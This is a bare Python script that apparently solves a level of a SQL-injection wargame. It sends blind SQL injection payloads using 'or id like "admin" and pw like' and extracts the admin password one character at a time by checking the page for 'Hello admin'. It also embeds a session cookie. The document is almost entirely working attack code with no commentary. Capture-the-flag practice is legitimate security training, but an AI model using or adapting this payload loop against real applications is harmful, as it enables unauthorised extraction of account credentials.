import requests headers={ 'Content-Type': 'application/json; charset=utf-8','User-Agent': 'Mozilla/5.0i' } cookies={'PHPSESSID':"kv19cn39hdsg1pofncbqrgq2m0"} url="http://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?" url_query="" passwd="" passwd_hex="" for j in range(0,9): for i in range(0x30,0x7E): query="no=1 or id like \"admin\" and pw like \""+passwd+chr(i)+"%\" %23" url_query=url+query print (url_query) res = requests.get(url_query, headers=headers, cookies=cookies) print(res.status_code) if((res.text).find("Hello admin")!=-1): passwd+=chr(i) print ('--------find -------') break print ("passwd: "+(passwd)) print (passwd)